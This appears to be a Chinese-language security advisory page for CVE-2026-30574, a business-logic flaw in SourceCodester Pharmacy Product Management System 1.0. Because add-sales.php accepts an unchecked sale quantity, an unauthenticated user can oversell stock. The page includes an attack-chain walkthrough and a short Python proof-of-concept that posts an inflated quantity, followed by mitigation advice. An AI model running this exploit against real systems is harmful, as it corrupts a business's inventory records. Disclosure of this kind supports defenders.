IPBUF安全漏洞报告
English
CVE-2026-30574 CVSS 7.5 高危

CVE-2026-30574 SourceCodester药房系统业务逻辑漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-30574
漏洞类型
业务逻辑漏洞
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Pharmacy Product Management System

相关标签

业务逻辑漏洞超卖SourceCodester库存绕过CVE-2026-30574

漏洞概述

SourceCodester Pharmacy Product Management System 1.0版本的add-sales.php接口存在严重的业务逻辑漏洞。系统在处理销售订单时,未对请求的销售数量进行严格验证,导致攻击者无需认证即可提交超过实际库存数量的购买请求。由于缺乏必要的库存检查机制,攻击者能够利用此漏洞操纵库存数据,导致系统中的库存记录与实物严重不符,破坏数据完整性,可能造成业务混乱或经济损失。

技术细节

该漏洞位于系统的销售处理模块中,具体文件为add-sales.php。漏洞成因在于后端代码直接接收用户提交的txtqty参数(销售数量),并在未查询数据库核对当前库存充足性的情况下直接写入销售记录。攻击者可以通过拦截HTTP POST请求,将txtqty参数修改为任意大于库存的数值(例如将库存为10的商品修改为购买1000件)。由于CVSS向量为AV:N/AC:L/PR:N/UI:N/S:U,该漏洞可被远程无认证利用,攻击复杂度低,且主要影响系统完整性(I:H),导致库存数据被恶意篡改。

攻击链分析

STEP 1
1. 信息收集
识别目标系统为SourceCodester Pharmacy Product Management System,并定位到add-sales.php接口。
STEP 2
2. 构造恶意请求
攻击者拦截或构造发送至add-sales.php的POST请求,抓取包含销售数量的参数txtqty。
STEP 3
3. 参数篡改
将txtqty参数的值修改为远超当前库存水平的数值(如99999)。
STEP 4
4. 发送请求与利用
将篡改后的请求发送至服务器,服务器因缺乏校验逻辑直接处理请求,导致库存数据异常。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_url): # Target endpoint for adding sales url = f"{target_url}/add-sales.php" # Malicious payload: requesting a quantity (99999) that exceeds stock # Adjust 'product_id' based on the actual target product ID payload = { "product_id": "1", "txtqty": "99999", # Overselling quantity "submit": "Submit" } try: response = requests.post(url, data=payload, timeout=10) if response.status_code == 200: print("[+] Exploit request sent successfully.") print("[+] Check the inventory to verify data integrity impact.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1/pharmacy_system" # Replace with actual target exploit(target)

影响范围

SourceCodester Pharmacy Product Management System 1.0

防御指南

临时缓解措施
建议立即在销售逻辑代码中增加库存预检查机制。在接收txtqty参数后,应先查询数据库对应产品的剩余库存,仅当请求量小于等于库存时才允许执行后续的扣减操作。此外,可以通过WAF等安全设备对异常大数值的请求进行拦截,作为临时缓解手段。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表